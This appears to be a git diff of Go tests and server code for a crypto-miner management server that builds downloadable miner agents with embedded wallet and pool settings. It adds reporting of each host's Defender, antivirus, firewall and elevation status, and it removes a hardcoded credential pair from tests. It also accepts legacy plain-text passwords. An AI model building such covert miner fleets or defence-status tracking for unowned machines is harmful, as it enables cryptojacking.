if checkPassword(hashed, "wrong") {
|
||||
t.Fatal("bcrypt hash should reject wrong password")
|
||||
}
|
||||
if !checkPassword("plainlegacy", "plainlegacy") {
|
||||
t.Fatal("legacy plain-text should match")
|
||||
}
|
||||
if checkPassword("plainlegacy", "other") {
|
||||
t.Fatal("legacy plain-text should reject mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsBcryptHash(t *testing.T) {
|
||||
h, _ := hashPassword("x")
|
||||
if !isBcryptHash(h) {
|
||||
t.Fatal("expected bcrypt prefix")
|
||||
}
|
||||
if isBcryptHash("plaintext") {
|
||||
t.Fatal("plaintext should not look like bcrypt")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthCacheHitAndMiss(t *testing.T) {
|
||||
user, pass := "cacheuser", "cachepass"
|
||||
if authCacheHit(user, pass) {
|
||||
t.Fatal("cache should miss before set")
|
||||
}
|
||||
authCacheSet(user, pass)
|
||||
if !authCacheHit(user, pass) {
|
||||
t.Fatal("cache should hit after set")
|
||||
}
|
||||
if authCacheHit(user, "wrong") {
|
||||
t.Fatal("different password should miss")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateRandomPasswordLength(t *testing.T) {
|
||||
pw := generateRandomPassword()
|
||||
if len(pw) != 20 {
|
||||
t.Fatalf("expected 20-char hex password, got len %d (%q)", len(pw), pw)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentForgeConfigDefaults(t *testing.T) {
|
||||
cfg := AgentForgeConfig{}
|
||||
if cfg.poolHostOrDefault("fallback.host") != "fallback.host" {
|
||||
t.Fatal("empty pool host should use fallback")
|
||||
}
|
||||
if cfg.poolPortOrDefault(3333) != 3333 {
|
||||
t.Fatal("zero pool port should use fallback")
|
||||
}
|
||||
cfg = AgentForgeConfig{PoolHost: "pool.example.com", PoolPort: 443}
|
||||
if cfg.poolHostOrDefault("fallback") != "pool.example.com" {
|
||||
t.Fatal("explicit pool host should win")
|
||||
}
|
||||
if cfg.poolPortOrDefault(3333) != 443 {
|
||||
t.Fatal("explicit pool port should win")
|
||||
}
|
||||
}
|
||||
91
server/internal/api/handlers_test.go
Normal file
91
server/internal/api/handlers_test.go
Normal file
@@ -0,0 +1,91 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func newTestHandler(t *testing.T) *Handler {
|
||||
t.Helper()
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
return NewHandler(database)
|
||||
}
|
||||
|
||||
func TestHealthCheckReturnsOK(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.HealthCheck(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
var body map[string]string
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["status"] != "ok" {
|
||||
t.Fatalf("unexpected body: %v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListAgentsEmptyArray(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ListAgents(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if rec.Body.String() != "[]\n" && rec.Body.String() != "[]" {
|
||||
var agents []json.RawMessage
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &agents); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(agents) != 0 {
|
||||
t.Fatalf("expected empty list, got %d", len(agents))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAgentStatsLimitCap(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/agents/missing-agent/stats?limit=5000", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
r := chi.NewRouter()
|
||||
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code == http.StatusInternalServerError {
|
||||
t.Fatalf("limit cap caused 500: %s", rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetRecentSharesLimitCap(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/shares?limit=999999", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.GetRecentShares(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAgentNotFound(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/agents/nope", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
r := chi.NewRouter()
|
||||
r.Get("/agents/{id}", h.GetAgent)
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("expected 404, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
@@ -29,9 +29,26 @@ func (m *mockConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
const testAuthUser = "testuser"
|
||||
const testAuthPass = "testpass"
|
||||
|
||||
func seedTestUsers(t *testing.T, dataDir string) {
|
||||
t.Helper()
|
||||
usersPath := filepath.Join(dataDir, "users.json")
|
||||
data, err := json.Marshal(map[string]string{testAuthUser: testAuthPass})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal users: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(usersPath, data, 0600); err != nil {
|
||||
t.Fatalf("write users.json: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func newTestRouter(t *testing.T) (http.Handler, string) {
|
||||
t.Helper()
|
||||
dataDir := t.TempDir()
|
||||
seedTestUsers(t, dataDir)
|
||||
|
||||
database, err := db.New(dataDir)
|
||||
if err != nil {
|
||||
t.Fatalf("db: %v", err)
|
||||
@@ -84,7 +101,7 @@ func TestConfigRequiresAuth(t *testing.T) {
|
||||
func TestConfigWithValidAuth(t *testing.T) {
|
||||
router, _ := newTestRouter(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil)
|
||||
req.SetBasicAuth("drjones", "czapiewski")
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
@@ -105,7 +122,7 @@ func TestAgentsListRequiresAuth(t *testing.T) {
|
||||
func TestAgentsListAuthedEmpty(t *testing.T) {
|
||||
router, _ := newTestRouter(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
||||
req.SetBasicAuth("drjones", "czapiewski")
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
@@ -164,7 +181,7 @@ func indexOf(s, sub string) int {
|
||||
func TestStatsLimitCapped(t *testing.T) {
|
||||
router, _ := newTestRouter(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents/nope/stats?limit=999999", nil)
|
||||
req.SetBasicAuth("drjones", "czapiewski")
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
// Agent may not exist — 404 is fine; we only care handler doesn't 500 on huge limit
|
||||
|
||||
86
server/internal/api/server_info_test.go
Normal file
86
server/internal/api/server_info_test.go
Normal file
@@ -0,0 +1,86 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestParsePort(t *testing.T) {
|
||||
tests := []struct {
|
||||
in string
|
||||
want int
|
||||
}{
|
||||
{"8989", 8989},
|
||||
{"80", 80},
|
||||
{"abc", 8989},
|
||||
{"", 8989},
|
||||
{"0", 8989},
|
||||
}
|
||||
for _, tc := range tests {
|
||||
if got := parsePort(tc.in); got != tc.want {
|
||||
t.Fatalf("parsePort(%q) = %d, want %d", tc.in, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsLoopbackHost(t *testing.T) {
|
||||
if !isLoopbackHost("localhost") {
|
||||
t.Fatal("localhost should be loopback")
|
||||
}
|
||||
if !isLoopbackHost("127.0.0.1") {
|
||||
t.Fatal("127.0.0.1 should be loopback")
|
||||
}
|
||||
if isLoopbackHost("192.168.1.1") {
|
||||
t.Fatal("192.168.1.1 should not be loopback")
|
||||
}
|
||||
}
|
||||
|
||||
func TestItoa(t *testing.T) {
|
||||
if itoa(8989) != "8989" {
|
||||
t.Fatalf("itoa(8989) = %q", itoa(8989))
|
||||
}
|
||||
if itoa(0) != "0" {
|
||||
t.Fatalf("itoa(0) = %q", itoa(0))
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetServerInfoJSON(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||
req.Host = "localhost:8989"
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "")
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var info ServerInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.Port != 8989 {
|
||||
t.Fatalf("port = %d, want 8989", info.Port)
|
||||
}
|
||||
if info.WebSocketURL == "" || info.SuggestedURL == "" {
|
||||
t.Fatalf("missing URLs: %+v", info)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetServerInfoPublicURLOverride(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||
req.Host = "localhost:8989"
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "https://forge.example.com:443")
|
||||
|
||||
var info ServerInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.SuggestedURL != "https://forge.example.com:443" {
|
||||
t.Fatalf("override not applied: %q", info.SuggestedURL)
|
||||
}
|
||||
if info.WebSocketURL != "wss://forge.example.com:443/ws/agent" {
|
||||
t.Fatalf("ws url = %q", info.WebSocketURL)
|
||||
}
|
||||
}
|
||||
@@ -519,8 +519,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
}
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
PostureScore *int `json:"posture_score,omitempty"`
|
||||
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
||||
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
||||
AVProducts []string `json:"av_products,omitempty"`
|
||||
FirewallDomain *bool `json:"firewall_domain,omitempty"`
|
||||
FirewallPrivate *bool `json:"firewall_private,omitempty"`
|
||||
FirewallPublic *bool `json:"firewall_public,omitempty"`
|
||||
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
||||
LastPatch *string `json:"last_patch,omitempty"`
|
||||
PendingUpdates *int `json:"pending_updates,omitempty"`
|
||||
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -550,6 +562,42 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if stats.SSHAvailable != nil {
|
||||
broadcast["ssh_available"] = *stats.SSHAvailable
|
||||
}
|
||||
if stats.PostureScore != nil {
|
||||
broadcast["posture_score"] = *stats.PostureScore
|
||||
}
|
||||
if stats.DefenderEnabled != nil {
|
||||
broadcast["defender_enabled"] = *stats.DefenderEnabled
|
||||
}
|
||||
if stats.DefenderRTP != nil {
|
||||
broadcast["defender_rtp"] = *stats.DefenderRTP
|
||||
}
|
||||
if len(stats.AVProducts) > 0 {
|
||||
broadcast["av_products"] = stats.AVProducts
|
||||
}
|
||||
if stats.FirewallDomain != nil {
|
||||
broadcast["firewall_domain"] = *stats.FirewallDomain
|
||||
}
|
||||
if stats.FirewallPrivate != nil {
|
||||
broadcast["firewall_private"] = *stats.FirewallPrivate
|
||||
}
|
||||
if stats.FirewallPublic != nil {
|
||||
broadcast["firewall_public"] = *stats.FirewallPublic
|
||||
}
|
||||
if stats.LastPatchDays != nil {
|
||||
broadcast["last_patch_days"] = *stats.LastPatchDays
|
||||
}
|
||||
if stats.LastPatch != nil {
|
||||
broadcast["last_patch"] = *stats.LastPatch
|
||||
}
|
||||
if stats.PendingUpdates != nil {
|
||||
broadcast["pending_updates"] = *stats.PendingUpdates
|
||||
}
|
||||
if stats.RebootPending != nil {
|
||||
broadcast["reboot_pending"] = *stats.RebootPending
|
||||
}
|
||||
if stats.AgentElevated != nil {
|
||||
broadcast["agent_elevated"] = *stats.AgentElevated
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
|
||||
|
||||
case "submit_share":
|
||||
|
||||
76
server/internal/db/agent_meta_test.go
Normal file
76
server/internal/db/agent_meta_test.go
Normal file
@@ -0,0 +1,76 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDecodeTagsEdgeCases(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
raw string
|
||||
want int
|
||||
}{
|
||||
{"empty", "", 0},
|
||||
{"brackets", "[]", 0},
|
||||
{"whitespace", " [] ", 0},
|
||||
{"valid", `["a","b"]`, 2},
|
||||
{"invalid json", "{not-json", 0},
|
||||
}
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
got := decodeTags(tc.raw)
|
||||
if len(got) != tc.want {
|
||||
t.Fatalf("decodeTags(%q) len=%d want %d (%v)", tc.raw, len(got), tc.want, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestEncodeTagsEmpty(t *testing.T) {
|
||||
if got := encodeTags(nil); got != "[]" {
|
||||
t.Fatalf("encodeTags(nil) = %q want []", got)
|
||||
}
|
||||
if got := encodeTags([]string{}); got != "[]" {
|
||||
t.Fatalf("encodeTags(empty) = %q want []", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAgentInvalidTagsInDB(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
seedAgent(t, d, "bad-tags")
|
||||
|
||||
if _, err := d.Exec(`UPDATE agents SET tags = ? WHERE id = ?`, "{invalid", "bad-tags"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
got, err := d.GetAgent("bad-tags")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(got.Tags) != 0 {
|
||||
t.Fatalf("invalid tags should decode to empty slice, got %v", got.Tags)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpdateAgentMetaClearsTags(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
seedAgent(t, d, "meta-clear")
|
||||
|
||||
if err := d.UpdateAgentMeta("meta-clear", "note", []string{"x"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.UpdateAgentMeta("meta-clear", "", nil); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
got, err := d.GetAgent("meta-clear")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.Notes != "" {
|
||||
t.Fatalf("notes not cleared: %q", got.Notes)
|
||||
}
|
||||
if len(got.Tags) != 0 {
|
||||
t.Fatalf("tags not cleared: %v", got.Tags)
|
||||
}
|
||||
}
|
||||
191
server/internal/db/builds_test.go
Normal file
191
server/internal/db/builds_test.go
Normal file
@@ -0,0 +1,191 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"errors"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func insertBuild(t *testing.T, d *Database, b *models.BuildRecord) {
|
||||
t.Helper()
|
||||
if err := d.InsertBuild(b); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCRUDAndList(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
|
||||
created := time.Now().UTC().Truncate(time.Second)
|
||||
build := &models.BuildRecord{
|
||||
ID: "build-001",
|
||||
WorkerName: "rig1",
|
||||
ServerURL: "http://localhost:8080",
|
||||
Wallet: "48xyz",
|
||||
Threads: 4,
|
||||
FileSize: 1024,
|
||||
BundleSize: 2048,
|
||||
FilePath: "/data/builds/build-001.zip",
|
||||
FileName: "agent.zip",
|
||||
DownloadURL: "/api/v1/builds/build-001/download",
|
||||
Platform: "windows",
|
||||
CreatedAt: created,
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 443,
|
||||
PoolTLS: true,
|
||||
PoolPass: "x",
|
||||
}
|
||||
insertBuild(t, d, build)
|
||||
|
||||
got, err := d.GetBuild("build-001")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.WorkerName != "rig1" || got.Platform != "windows" || got.BundleSize != 2048 {
|
||||
t.Fatalf("build mismatch: %+v", got)
|
||||
}
|
||||
if got.Pinned {
|
||||
t.Fatal("new build should not be pinned")
|
||||
}
|
||||
|
||||
list, err := d.ListBuilds(10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(list) != 1 || list[0].ID != "build-001" {
|
||||
t.Fatalf("list builds: %+v", list)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetBuildNotFound(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
_, err := d.GetBuild("missing")
|
||||
if !errors.Is(err, sql.ErrNoRows) {
|
||||
t.Fatalf("expected sql.ErrNoRows, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSetPinnedBuild(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
now := time.Now()
|
||||
insertBuild(t, d, &models.BuildRecord{ID: "b1", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: now})
|
||||
insertBuild(t, d, &models.BuildRecord{ID: "b2", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: now.Add(time.Second)})
|
||||
|
||||
if err := d.SetPinnedBuild("b1"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
b1, _ := d.GetBuild("b1")
|
||||
b2, _ := d.GetBuild("b2")
|
||||
if !b1.Pinned || b2.Pinned {
|
||||
t.Fatalf("pin state wrong: b1=%v b2=%v", b1.Pinned, b2.Pinned)
|
||||
}
|
||||
|
||||
if err := d.SetPinnedBuild(""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
b1, _ = d.GetBuild("b1")
|
||||
if b1.Pinned {
|
||||
t.Fatal("empty id should unpin all builds")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetLatestBuildForPlatform(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
base := time.Now().UTC().Truncate(time.Second)
|
||||
|
||||
insertBuild(t, d, &models.BuildRecord{
|
||||
ID: "old-linux", WorkerName: "w", ServerURL: "u", Wallet: "w",
|
||||
Platform: "linux", CreatedAt: base,
|
||||
})
|
||||
insertBuild(t, d, &models.BuildRecord{
|
||||
ID: "new-linux", WorkerName: "w", ServerURL: "u", Wallet: "w",
|
||||
Platform: "linux", CreatedAt: base.Add(time.Minute),
|
||||
})
|
||||
insertBuild(t, d, &models.BuildRecord{
|
||||
ID: "new-windows", WorkerName: "w", ServerURL: "u", Wallet: "w",
|
||||
Platform: "windows", CreatedAt: base.Add(2 * time.Minute),
|
||||
})
|
||||
|
||||
latestLinux, err := d.GetLatestBuildForPlatform("linux")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if latestLinux.ID != "new-linux" {
|
||||
t.Fatalf("latest linux: got %q", latestLinux.ID)
|
||||
}
|
||||
|
||||
if err := d.SetPinnedBuild("old-linux"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
pinnedLinux, err := d.GetLatestBuildForPlatform("linux")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if pinnedLinux.ID != "old-linux" {
|
||||
t.Fatalf("pinned linux: got %q", pinnedLinux.ID)
|
||||
}
|
||||
|
||||
anyLatest, err := d.GetLatestBuildForPlatform("any")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if anyLatest.ID != "old-linux" {
|
||||
t.Fatalf("any with pinned: got %q want old-linux", anyLatest.ID)
|
||||
}
|
||||
|
||||
if err := d.SetPinnedBuild(""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
emptyPlatform, err := d.GetLatestBuildForPlatform("")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if emptyPlatform.ID != "new-windows" {
|
||||
t.Fatalf("empty platform latest: got %q", emptyPlatform.ID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetLatestBuildForPlatformEmpty(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
_, err := d.GetLatestBuildForPlatform("linux")
|
||||
if !errors.Is(err, sql.ErrNoRows) {
|
||||
t.Fatalf("expected sql.ErrNoRows on empty db, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListBuildsOlderThanAndDeleteBuild(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
cutoff := time.Now().UTC().Truncate(time.Second)
|
||||
oldTime := cutoff.Add(-time.Hour)
|
||||
newTime := cutoff.Add(time.Hour)
|
||||
|
||||
insertBuild(t, d, &models.BuildRecord{
|
||||
ID: "old-build", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: oldTime,
|
||||
})
|
||||
insertBuild(t, d, &models.BuildRecord{
|
||||
ID: "new-build", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: newTime,
|
||||
})
|
||||
|
||||
older, err := d.ListBuildsOlderThan(cutoff)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(older) != 1 || older[0].ID != "old-build" {
|
||||
t.Fatalf("ListBuildsOlderThan: %+v", older)
|
||||
}
|
||||
|
||||
if err := d.DeleteBuild("old-build"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, err = d.GetBuild("old-build")
|
||||
if !errors.Is(err, sql.ErrNoRows) {
|
||||
t.Fatalf("expected deleted build missing, got %v", err)
|
||||
}
|
||||
|
||||
if err := d.DeleteBuild("never-existed"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
@@ -17,16 +17,15 @@ func (d *Database) PurgeHashrateSamplesBefore(cutoff time.Time) (int64, error) {
|
||||
|
||||
// ListBuildsOlderThan returns build records created before cutoff.
|
||||
func (d *Database) ListBuildsOlderThan(cutoff time.Time) ([]*models.BuildRecord, error) {
|
||||
rows, err := d.Query(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE created_at < ?`, cutoff)
|
||||
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds WHERE created_at < ?`, cutoff)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []*models.BuildRecord
|
||||
for rows.Next() {
|
||||
b := &models.BuildRecord{}
|
||||
if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt,
|
||||
&b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil {
|
||||
b, err := scanBuild(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, b)
|
||||
|
||||
255
server/internal/db/sqlite_test.go
Normal file
255
server/internal/db/sqlite_test.go
Normal file
@@ -0,0 +1,255 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"errors"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func openTestDB(t *testing.T) *Database {
|
||||
t.Helper()
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { d.Close() })
|
||||
return d
|
||||
}
|
||||
|
||||
func seedAgent(t *testing.T, d *Database, id string) *models.Agent {
|
||||
t.Helper()
|
||||
a := &models.Agent{
|
||||
ID: id,
|
||||
Name: "worker-" + id,
|
||||
Wallet: "wallet",
|
||||
IP: "10.0.0.1",
|
||||
Version: "2.0",
|
||||
Status: "offline",
|
||||
CPUCores: 4,
|
||||
MemoryGB: 8,
|
||||
LastSeen: time.Now(),
|
||||
}
|
||||
if err := d.UpsertAgent(a); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return a
|
||||
}
|
||||
|
||||
func TestNewCreatesDatabase(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
d, err := New(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
var n int
|
||||
if err := d.QueryRow("SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='agents'").Scan(&n); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if n != 1 {
|
||||
t.Fatalf("expected agents table, got count %d", n)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAgentNotFound(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
_, err := d.GetAgent("missing-agent")
|
||||
if !errors.Is(err, sql.ErrNoRows) {
|
||||
t.Fatalf("expected sql.ErrNoRows, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertAgentPreservesCreatedAt(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
a := seedAgent(t, d, "persist-created")
|
||||
|
||||
first, err := d.GetAgent(a.ID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
a.Name = "renamed"
|
||||
a.Status = "online"
|
||||
if err := d.UpsertAgent(a); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
second, err := d.GetAgent(a.ID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !second.CreatedAt.Equal(first.CreatedAt) {
|
||||
t.Fatalf("created_at changed: %v -> %v", first.CreatedAt, second.CreatedAt)
|
||||
}
|
||||
if second.Name != "renamed" {
|
||||
t.Fatalf("name not updated: %q", second.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpdateAgentStats(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
a := seedAgent(t, d, "stats-agent")
|
||||
|
||||
if err := d.UpdateAgentStats(a.ID, 100, 200, 300, 10, 8, 2, 55.5, 66.6, 3600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
got, err := d.GetAgent(a.ID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.Status != "online" {
|
||||
t.Fatalf("status: got %q want online", got.Status)
|
||||
}
|
||||
if got.Hashrate15s != 100 || got.Hashrate1m != 200 || got.Hashrate15m != 300 {
|
||||
t.Fatalf("hashrate mismatch: %+v", got)
|
||||
}
|
||||
if got.SharesTotal != 10 || got.SharesGood != 8 || got.SharesBad != 2 {
|
||||
t.Fatalf("shares mismatch: %+v", got)
|
||||
}
|
||||
if got.CPUUsagePct != 55.5 || got.MemoryUsagePct != 66.6 || got.UptimeSeconds != 3600 {
|
||||
t.Fatalf("usage/uptime mismatch: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSetAgentOffline(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
a := seedAgent(t, d, "offline-agent")
|
||||
if err := d.UpdateAgentStats(a.ID, 1, 1, 1, 0, 0, 0, 0, 0, 0); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := d.SetAgentOffline(a.ID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := d.GetAgent(a.ID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.Status != "offline" {
|
||||
t.Fatalf("status: got %q want offline", got.Status)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShareInsertUpdateAndRecent(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
seedAgent(t, d, "share-agent")
|
||||
|
||||
ts := time.Now().UTC().Truncate(time.Second)
|
||||
share := &models.Share{
|
||||
AgentID: "share-agent",
|
||||
JobID: "job-1",
|
||||
Difficulty: 1000,
|
